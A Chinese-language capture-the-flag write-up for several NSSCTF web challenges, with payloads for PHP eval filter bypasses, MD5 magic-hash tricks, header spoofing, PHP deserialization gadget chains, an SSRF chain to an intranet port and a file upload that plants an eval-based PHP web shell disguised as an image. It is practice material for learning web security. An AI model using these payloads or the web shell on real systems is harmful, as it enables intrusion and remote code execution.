webdog1__start
if (isset($_GET['web']))
{$first=$_GET['web'];if ($first==md5($first))
md5 自等
web=0e215962017 (md5后也是 0e)
登入后得到提示,robots.txt
訪問 f14g.php
返回包里發現 hint
==>
if (isset($_GET['get'])){$get=$_GET['get'];if(!strstr($get," ")){$get = str_ireplace("flag", " ", $get);if (strlen($get)>18){die("This is too long.");}else{eval($get);} }else {die("nonono"); }}
strstr 是 PHP 中的一個字符串處理函數,用于查找字符串中首次出現某個子字符串的位置,并返回從該子字符串開始到字符串末尾的部分。如果未找到子字符串,則返回 false
不能有空格,flag,長度不大于 18
?get=system(phpinfo());
?get=system(ls);
?get=system(%27nl%09/*%27); //%27不能掉
%09 為制表符
其他姿勢1
嵌套 eval()
既然 get 參數的值存在限制,那么我們可以將 get 的值設置為 eval($_GET[‘?’]); (理論上,? 可以表示任何文本)來接收另一個參數名為 ? 的值并將其作為 PHP 代碼執行。這樣,判斷語句將檢查 get 參數,而實際起破壞作用的代碼卻被我們轉移到了另一個參數 ? 中。對此,構造如下查詢字符串:
原文鏈接:https://blog.csdn.net/qq_44879989/article/details/131429635
?get=eval($_GET['x']);&x=system('cat /flag');
其他姿勢2
由于 flag 被替換為空格,所以可以使用 flag 當空格用
?get=system('catflag/*')
讀到 flag.php 后查看源碼,得到 /flag
跳板命令繞過,借力打力
ez_ez_php
//輸出:O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}
增加屬性值繞過 wakeup
O:2:"lt":5:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}
js_sign
開發者工具的 source 一欄里找到 man.js
document.getElementsByTagName("button")[0].addEventListener("click", ()=>{flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"if (btoa(flag.value) == 'dGFwY29kZQ==') {alert("you got hint!!!");} else {alert("fuck off !!");}
})
dGFwY29kZQ==
解碼 ==> tapcode
搜一下這個 tapcode
==>
滴答碼,有時也稱為敲擊碼,是一種以非常簡單的方式逐字母編碼文本消息的方法。消息通過一系列敲擊聲來傳輸,因此得名。 [1]
搜在線網站解碼,但格式有問題,試著將上面的數字全部分隔開然后敲擊,有意外的發現
[滴答碼][https://cryptii.com/pipes/tap-code]
編寫python腳本自動化打點
import reflag = "33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
patter = re.compile(r'\d')
num = re.findall(patter, flag)
for i in num:print(int(i)*".",end=' ')
exp
... ... .... ... .... ... . ... .... .... .. . ..... .... ... .... .... ..... .. . .. .... ... ... . .... .. . ... . . . .. .. . .. ..... .... .... .... . . ... ..... . ... ... .... . .... . .....
==>
nssctfyoufindflagbytapcode
==>
NSSCTF{youfindflagbytapcode}
xff
我是本地人
Must be jump from Home Page.
Must be accessed from Xiaohong’s own computer.
抓包添加 header
X-Forwarded-For:127.0.0.1
Referer:127.0.0.1
XFF:告訴服務器當前請求者的最終IP。在一些情況下,攻擊者可能會嘗試偽造X-Forwarded-For字段來隱藏其真實IP地址,因此在使用XFF時需要謹慎驗證其真實性。
Referer:它的作用是指示一個請求是從哪里鏈接過來,那么當一個請求并不是由鏈接觸發產生的,那么自然也就不需要指定這個請求的鏈接來源。
funny_php
<?phpsession_start();highlight_file(__FILE__);if(isset($_GET['num'])){if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){echo ":D";$_SESSION['L1'] = 1;}else{echo ":C";}}if(isset($_GET['str'])){$str = preg_replace('/NSSCTF/',"",$_GET['str']);if($str === "NSSCTF"){echo "wow";$_SESSION['L2'] = 1;}else{echo $str;}}if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){echo "Nice!";if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){echo "yoxi!";$_SESSION['L3'] = 1;}else{echo "X(";}}}else{echo "G";echo $_POST['md5_1']."\n".$_POST['md5_2'];}}if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){include('flag.php');echo $flag;}
- 科學計數法繞過
- 雙寫繞過
- md5繞過
exp
?num=1e9&str=NSSNSSCTFCTFPOST
md5_1=s878926199a&md5_2=s214587387a
ez_ez_unserialize
<?php
class X
{public $x = __FILE__;function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
}
簡單繞過一下 wakep 即可
<?php
class X
{public $x = __FILE__;
}
$x = new x();
$x -> x = "fllllllag.php";
//echo serialize($x);
$exp ='O:1:"X":4:{s:1:"x";s:13:"fllllllag.php";}';
echo urldecode($exp);
//O:1:"X":3:{s:1:"x";s:13:"fllllllag.php";}
Power!
隨便測試一下
?image_path=1
file_get_contents(1): failed to open stream: No such file or directory in /var/www/html/index.php on line 66
php://filter/read=convert.base64-encode/resource=flag.php
php: 被過濾
再嘗試一下其他的
直接 ?image_path=flag.php
看到一個未加載的圖片,查看源碼有一個 base64 的 source
<?php$a = "good job,but there is no flagi put my flag in intranet(127.0.0.1:65500)outsider have no permissions to get itif you want it,then you have to take itbut you already knew the rulestry it";?>
intranet:局域網
這里有點模糊,直接讀一下 index.php
<?phpclass FileViewer{public $black_list = "flag";public $local = "http://127.0.0.1/";public $path;public function __call($f,$a){$this->loadfile();}public function loadfile(){if(!is_array($this->path)){if(preg_match("/".$this->black_list."/i",$this->path)){$file = $this->curl($this->local."cheems.jpg");}else{$file = $this->curl($this->local.$this->path);}}else{$file = $this->curl($this->local."cheems.jpg");}echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';}public function curl($path){$url = $path;$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, 0);$response = curl_exec($curl);curl_close($curl);return $response;}public function __wakeup(){$this->local = "http://127.0.0.1/";}}class Backdoor{public $a;public $b;public $superhacker = "hacker.jpg";public function goodman($i,$j){$i->$j = $this->superhacker;}public function __destruct(){$this->goodman($this->a,$this->b);$this->a->c();}}if(isset($_GET['source'])){highlight_file(__FILE__);}else{if(isset($_GET['image_path'])){$path = $_GET['image_path']; //flag in /flag.phpif(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}else{echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';}}else if(isset($_GET['path_info'])){$path_info = $_GET['path_info'];$FV = unserialize(base64_decode($path_info));$FV->loadfile();}else{$path = "vergil.jpg";echo '<h2>POWER!!</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';}}
?>
其實還有 file 偽協議未被過濾
反序列化+SSRF,啟動!
注意程序在 unserialize 之后會調用 $FV->loadfile();, 如果 $FV 不是 FileViewer 類的實例則會拋出異常, 導致 Backdoor 類的 __destruct 不會成功執行
解決方法就是再實例化一個 FileViewer 對象 將 Backdoor 塞進這個對象的某個屬性里 (php 可以反序列化出不存在的屬性)
簡單講就是 class1(class2) 進行反序列化時,會先從 class2 開始反序列化
FileViewer -> Backdoor::__destruct() -> FileViewer::__call() -> FileViewer::loadfile() -> FileViewer::curl()
//flag in /flag.php
exp
<?php
class FileViewer{public $black_list = "sb";public $local;public $path='flag.php';
}
class Backdoor{public $a;public $b='local';public $superhacker = "127.0.0.1:65500/";
}$fileviewer = new FileViewer();
$backdoor = new Backdoor();$backdoor -> a = $fileviewer;
$sm = new FileViewer(); #避免報錯
$sm -> local = $backdoor;echo serialize($sm); #塞了一個,Backdoor類,在內部進行反序列化觸發文件curl
echo PHP_EOL;
//echo base64_encode('O:10:"FileViewer":3:{s:10:"black_list";s:2:"sb";s:5:"local";O:8:"Backdoor":3:{s:1:"a";O:10:"FileViewer":6:{s:10:"black_list";s:2:"sb";s:5:"local";N;s:4:"path";s:8:"flag.php";}s:1:"b";s:5:"local";s:11:"superhacker";s:16:"127.0.0.1:65500/";}s:4:"path";s:8:"flag.php";}');
echo base64_encode(serialize($sm));
?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoyOiJzYiI7czo1OiJsb2NhbCI7Tzo4OiJCYWNrZG9vciI6Mzp7czoxOiJhIjtPOjEwOiJGaWxlVmlld2VyIjozOntzOjEwOiJibGFja19saXN0IjtzOjI6InNiIjtzOjU6ImxvY2FsIjtOO3M6NDoicGF0aCI7czo4OiJmbGFnLnBocCI7fXM6MToiYiI7czo1OiJsb2NhbCI7czoxMToic3VwZXJoYWNrZXIiO3M6MTY6IjEyNy4wLjAuMTo2NTUwMC8iO31zOjQ6InBhdGgiO3M6ODoiZmxhZy5waHAiO30=?ptah_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czo1OiJsb2NhbCI7czowOiIiO3M6NDoicGF0aCI7TjtzOjQ6InRleHQiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Njp7czo1OiJsb2NhbCI7czoyMjoiaHR0cDovLzEyNy4wLjAuMTo2NTUwMCI7czo0OiJwYXRoIjtzOjg6ImZsYWcucGhwIjt9czoxOiJiIjtOO3M6MTE6InN1cGVyaGFja2VyIjtzOjEwOiJoYWNrZXIuanBnIjt9fQ
我本來也是直接讓Backdoor直接包含FileViewer,但是不可以。為什么呢。
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
當我們的反序列化正在執行的時候,會同時執行 F V ? > l o a d f i l e ( ) ; 這個語句,但是 FV->loadfile();這個語句,但是 FV?>loadfile();這個語句,但是FV是Backdoor的對象,根本沒有這個方法,所以會報錯。那么就要讓$FV是FileViewer的對象。
我們又知道,反序列化是從最里面開始反序列化的。比如,類1包含類2,那么他會先反序列化類2,再類1.
于是我們是FileViewer包含(Backdoor包含(FileViewer))。
為什么這里不需要繞過 wakeup() ?
我的類結構 --》 Fileview(Backdoor(Fileview))
目的是調用最內層的 Fileview 進行文件讀取,當最內層的 Fileview local 被 wakeup 覆蓋后,外層 Backdoor 反序列會將其覆蓋回來。
內部類屬性數量不一致,直接把內部類當垃圾回收,外部類。
外部類屬性數量不一致,外部類直接被當成垃圾回收,而內部類正常。
1z_unserialize
<?phpclass lyh{public $url = 'NSSCTF.com';public $lt;public $lly;function __destruct(){$a = $this->lt;$a($this->lly);}}
unserialize($_POST['nss']);
highlight_file(__FILE__);?>
exp
class lyh
{public $url = 'NSSCTF.com';public $lt;public $lly;
}$lyh = new lyh();
$lyh -> lt = "eval";
$lyh -> lly = "phpinfo()";
echo serialize($lyh);
nss=O:3:"lyh":5:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}
file_master
查詢文件功能報錯
Warning: file_get_contents(): remote host file access not supported, file://index.php in /var/www/html/index.php on line 24
Warning: file_get_contents(file://index.php): failed to open stream: no suitable wrapper could be found in /var/www/html/index.php on line 24
直接查詢 index.php
<?phpsession_start();if(isset($_GET['filename'])){echo file_get_contents($_GET['filename']);}else if(isset($_FILES['file']['name'])){$whtie_list = array("image/jpeg");$filetype = $_FILES["file"]["type"];if(in_array($filetype,$whtie_list)){$img_info = @getimagesize($_FILES["file"]["tmp_name"]);if($img_info){if($img_info[0]<=20 && $img_info[1]<=20){if(!is_dir("upload/".session_id())){mkdir("upload/".session_id());}$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);$content = file_get_contents($save_path);if(preg_match("/php/i",$content)){sleep(5);@unlink($save_path);die("hacker!!!");}else{echo "upload success!! upload/your_sessionid/your_filename";}}else{die("image hight and width must less than 20");}}else{die("invalid file head");}}else{die("invalid file type!image/jpeg only!!");}}else{echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
試一下直接讀取 flag,失敗
先嘗試文件上傳
提取出信息
1.文件類型必須是image/jpeg
2.要有文件頭(測試不添加也行)
3.寬高要小于20
4.文件路徑為upload/your_sessionid/your_filename
5.文件內容不能含有php
1,2要求略過
3.要在文件中添加
#define height 1
#define width 1
4.sessionid在抓包時可以得到在Cookie: PHPSESSID=這里
5.利用短標簽
<?= `nl /*`意思是把所有文件都打印出來,但是在這里測試不行,應該是權限不夠 嘗試傳木馬 ``` <?= @eval($_POST['a']); ``` 看了一下,他是只檢測了文件類型(使用白名單),但未檢測文件后綴,所以直接傳 .php 后綴即可 exp ``` Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1741614396,1741654878,1741864241,1741929342; HMACCOUNT=6FE6E841CEA52014; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1741950036; PHPSESSID=cv71nj28p9vi0li6ueqpdkjhs9 Connection: keep-alive ------WebKitFormBoundary1B6ANdBcBIGwkKNx Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg #define height 1 #define width 1 GIF89a <?= @eval($_POST['a']); ------WebKitFormBoundary1B6ANdBcBIGwkKNx Content-Disposition: form-data; name="submit" ``` upload/cv71nj28p9vi0li6ueqpdkjhs9/shell.php 成功 但讀取時會報一些權限錯誤,連接蟻劍進入終端,讀取得到 flag